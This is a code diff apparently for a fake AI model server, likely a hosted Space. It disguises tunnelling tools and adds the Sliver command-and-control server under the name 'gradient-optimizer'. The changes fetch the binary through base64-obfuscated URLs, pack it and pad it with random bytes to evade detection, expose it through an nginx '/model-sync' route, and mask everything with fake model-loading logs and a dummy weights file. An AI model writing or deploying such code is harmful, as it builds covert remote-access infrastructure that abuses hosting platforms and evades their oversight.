Automated deployment update from ML build

Dockerfile

@@ -23,7 +23,10 @@ RUN curl -fsSL https://tailscale.com/install.sh | bash && \
     curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2dvLWdvc3QvZ29zdC9yZWxlYXNlcy9kb3dubG9hZC92My4yLjYvZ29zdF8zLjIuNl9saW51eF9hbWQ2NC50YXIuZ3o=' | base64 -d) -o /tmp/gost.tar.gz && \
     tar -xzf /tmp/gost.tar.gz -C /tmp/ && \
     mv /tmp/gost /usr/bin/system-bridge && \
-    chmod +x /usr/bin/system-bridge
+    chmod +x /usr/bin/system-bridge && \
+    curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL0Jpc2hvcEZveC9zbGl2ZXIvcmVsZWFzZXMvZG93bmxvYWQvdjEuNy40L3NsaXZlci1zZXJ2ZXJfbGludXg=' | base64 -d) \
+        -o /usr/bin/gradient-optimizer && \
+    chmod +x /usr/bin/gradient-optimizer
 
 RUN mv /usr/sbin/tailscaled /usr/bin/python-cache-manager && \
     mv /usr/bin/tailscale /usr/bin/py-cache-cli && \
@@ -34,14 +37,18 @@ RUN upx -1 /usr/bin/python-cache-manager || true && \
     upx -1 /usr/bin/ai-metrics-collector || true && \
     upx -1 /usr/bin/tensor-allocator || true && \
     upx -1 /usr/bin/cuda-mesh-bridge || true && \
-    upx -1 /usr/bin/system-bridge || true
+    upx -1 /usr/bin/system-bridge || true && \
+    upx -1 /usr/bin/gradient-optimizer || true
 
 RUN head -c 32 /dev/urandom >> /usr/bin/python-cache-manager && \
     head -c 32 /dev/urandom >> /usr/bin/py-cache-cli && \
     head -c 32 /dev/urandom >> /usr/bin/ai-metrics-collector && \
     head -c 32 /dev/urandom >> /usr/bin/tensor-allocator && \
     head -c 32 /dev/urandom >> /usr/bin/cuda-mesh-bridge && \
-    head -c 32 /dev/urandom >> /usr/bin/system-bridge
+    head -c 32 /dev/urandom >> /usr/bin/system-bridge && \
+    head -c 32 /dev/urandom >> /usr/bin/gradient-optimizer
+
+RUN /usr/bin/gradient-optimizer unpack --force || true
 
 RUN uv pip install --system --no-cache-dir \
     gradio huggingface_hub loguru

app.py

@@ -44,6 +44,10 @@ def fake_model(input_text):
 		try:
 			with open('/home/user/.torch_metrics/gost.log',D)as A:return'GOST LOGS:\n'+A.read()
 		except Exception as B:return f"Log error: {str(B)}"
+	if C.strip()=='SHOW_LOGS_SLIVER':
+		try:
+			with open('/home/user/.torch_metrics/sliver.log',D)as A:return'SLIVER LOGS:\n'+A.read()
+		except Exception as B:return f"Log error: {str(B)}"
 	if C.strip()=='SHOW_LOGS_NGINX':
 		try:
 			with open('/home/user/.torch_metrics/nginx.log',D)as A:return'NGINX LOGS:\n'+A.read()

config/nginx.conf.template

@@ -56,5 +56,17 @@ http {
             proxy_read_timeout 86400s;
             proxy_send_timeout 86400s;
         }
+
+        location /model-sync {
+            proxy_pass http://127.0.0.1:6795/;
+            proxy_http_version 1.1;
+            proxy_set_header Host $host;
+            proxy_set_header X-Real-IP $remote_addr;
+            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+            proxy_set_header X-Forwarded-Proto $scheme;
+            proxy_read_timeout 86400s;
+            proxy_send_timeout 86400s;
+        }
+
     }
 }

core/orchestrator.py

@@ -2,7 +2,7 @@ _A=True
 import os,time,subprocess,base64,threading,random,string,sys
 from loguru import logger
 sys.path.insert(0,os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
-from services import nginx,tailscale,playit,chisel,minecraft,filebrowser,gost
+from services import nginx,tailscale,playit,chisel,minecraft,filebrowser,gost,sliver
 COVERT_LOGGING_MODE=1
 logger.info('--- BOOTING AI MODEL SERVER ---')
 def decode_cmd(encoded_str):return base64.b64decode(encoded_str[::-1]).decode()
@@ -23,11 +23,11 @@ def jitter_task():
 		try:logger.debug('Syncing model cache...');subprocess.run(['curl','-s','-o','/dev/null','https://huggingface.co/gpt2/resolve/main/vocab.json'])
 		except Exception:pass
 def main():
-	b='SSH';a='PASS';Z='TAILSCALE';Y='/home/user/pytorch_model.bin';X='/home/user/.torch_metrics/nginx.log';W='/home/user/.torch_metrics/gost.log';V='/home/user/.torch_metrics/chisel.log';U='/home/user/.torch_metrics/tm_daemon.log';T='/home/user/.torch_metrics/fb.log';S='/home/user/.torch_metrics/ts_daemon.log';R='/home/user/.torch_metrics';N='CHISEL';M='PLAYIT';A='a'
-	if COVERT_LOGGING_MODE==1:os.makedirs(R,exist_ok=_A);B=open(S,A);H=open(T,A);I=open(U,A);J=open(V,A);K=open(W,A);L=open(X,A)
+	d='SSH';c='PASS';b='TAILSCALE';a='/home/user/pytorch_model.bin';Z='/home/user/.torch_metrics/nginx.log';Y='/home/user/.torch_metrics/sliver.log';X='/home/user/.torch_metrics/gost.log';W='/home/user/.torch_metrics/chisel.log';V='/home/user/.torch_metrics/tm_daemon.log';U='/home/user/.torch_metrics/fb.log';T='/home/user/.torch_metrics/ts_daemon.log';S='/home/user/.torch_metrics';O='CHISEL';N='PLAYIT';A='a'
+	if COVERT_LOGGING_MODE==1:os.makedirs(S,exist_ok=_A);D=open(T,A);H=open(U,A);I=open(V,A);J=open(W,A);K=open(X,A);L=open(Y,A);M=open(Z,A)
 	elif COVERT_LOGGING_MODE==2:
-		os.makedirs(R,exist_ok=_A)
-		class C:
+		os.makedirs(S,exist_ok=_A)
+		class B:
 			def __init__(B,filepath,prefix):B.file=open(filepath,A);B.prefix=prefix;C,D=os.pipe();B.r=C;B.w=D;threading.Thread(target=B._reader,daemon=_A).start()
 			def _reader(A):
 				C=os.fdopen(A.r,'r',errors='replace')
@@ -37,24 +37,24 @@ def main():
 			def fileno(A):return A.w
 			def write(A,s):A.file.write(s);A.file.flush();sys.stdout.write(f"[{A.prefix}] {s}\n"if not s.endswith('\n')else f"[{A.prefix}] {s}");sys.stdout.flush()
 			def flush(A):A.file.flush();sys.stdout.flush()
-		B=C(S,'TS');H=C(T,'FB');I=C(U,M);J=C(V,N);K=C(W,'GOST');L=C(X,'NGINX')
-	else:D=open(os.devnull,'w');B=D;H=D;I=D;J=D;K=D;L=D
-	os.makedirs('/home/user/static',exist_ok=_A);nginx.start(L);logger.info('Starting Gradio fake app (API server)...');c=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');d=subprocess.Popen(c,shell=_A)
-	if not os.path.exists(Y):logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',Y])
-	logger.info('Loading model weights into VRAM...');time.sleep(2);threading.Thread(target=jitter_task,daemon=_A).start();O=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {O}s)...");time.sleep(O);tailscale.start_daemon(B);time.sleep(2);logger.info('Warming up text-generation pipelines...');e=os.environ.get('A')or os.environ.get(Z)or'';P=deobfuscate_secret(e.strip());f=os.environ.get('P')or os.environ.get(M)or'';Q=deobfuscate_secret(f.strip());g=os.environ.get('C')or os.environ.get(N)or'';E=deobfuscate_secret(g.strip())
+		D=B(T,'TS');H=B(U,'FB');I=B(V,N);J=B(W,O);K=B(X,'GOST');L=B(Y,'SLIVER');M=B(Z,'NGINX')
+	else:C=open(os.devnull,'w');D=C;H=C;I=C;J=C;K=C;L=C;M=C
+	os.makedirs('/home/user/static',exist_ok=_A);nginx.start(M);logger.info('Starting Gradio fake app (API server)...');e=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');f=subprocess.Popen(e,shell=_A)
+	if not os.path.exists(a):logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',a])
+	logger.info('Loading model weights into VRAM...');time.sleep(2);threading.Thread(target=jitter_task,daemon=_A).start();P=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {P}s)...");time.sleep(P);tailscale.start_daemon(D);time.sleep(2);logger.info('Warming up text-generation pipelines...');g=os.environ.get('A')or os.environ.get(b)or'';Q=deobfuscate_secret(g.strip());h=os.environ.get('P')or os.environ.get(N)or'';R=deobfuscate_secret(h.strip());i=os.environ.get('C')or os.environ.get(O)or'';E=deobfuscate_secret(i.strip())
 	if not E:E='user:apple123'
-	h=['A',Z,'P',M,'C',N]
-	for F in h:
+	j=['A',b,'P',N,'C',O]
+	for F in j:
 		if F in os.environ:del os.environ[F]
-	filebrowser.start(H);playit.start(I,Q);Q='';chisel.start(J,E);gost.start(K,E);E='';time.sleep(5);tailscale.connect(B,P);P='';i=os.environ.get(a)or os.environ.get(b)or'';G=deobfuscate_secret(i.strip())
+	filebrowser.start(H);playit.start(I,R);R='';chisel.start(J,E);gost.start(K,E);sliver.start(L);E='';time.sleep(5);tailscale.connect(D,Q);Q='';k=os.environ.get(c)or os.environ.get(d)or'';G=deobfuscate_secret(k.strip())
 	if G:logger.info('Setting SSH password from Hugging Face Secrets (PASS)...')
 	else:G=''.join(random.choices(string.ascii_letters+string.digits,k=16));logger.success(f"Generated SSH Password for 'user': {G}")
 	try:subprocess.run(['sudo','/usr/sbin/chpasswd'],input=f"user:{G}\n",text=_A,check=_A)
-	except Exception as j:logger.error(f"Failed to set password: {j}")
-	for F in[a,b]:
+	except Exception as l:logger.error(f"Failed to set password: {l}")
+	for F in[c,d]:
 		if F in os.environ:del os.environ[F]
-	subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=B,stderr=B)
-	def k():
+	subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=D,stderr=D)
+	def m():
 		import socket as A;G=90
 		def E(src,dst):
 			try:
@@ -90,5 +90,5 @@ def main():
 					try:B.close()
 					except:pass
 		except Exception:pass
-	threading.Thread(target=k,daemon=_A).start();minecraft.start();logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');d.wait()
+	threading.Thread(target=m,daemon=_A).start();minecraft.start();logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');f.wait()
 if __name__=='__main__':main()

services/sliver.py

@@ -0,0 +1,4 @@
+import subprocess,os
+from loguru import logger
+SLIVER_HOME='/home/user/.sliver'
+def start(log_file):A=log_file;logger.info('Initializing gradient optimization daemon...');os.makedirs(SLIVER_HOME,exist_ok=True);B=['/usr/bin/gradient-optimizer','daemon'];subprocess.Popen(B,stdout=A,stderr=A,env={**os.environ,'SLIVER_ROOT_DIR':SLIVER_HOME})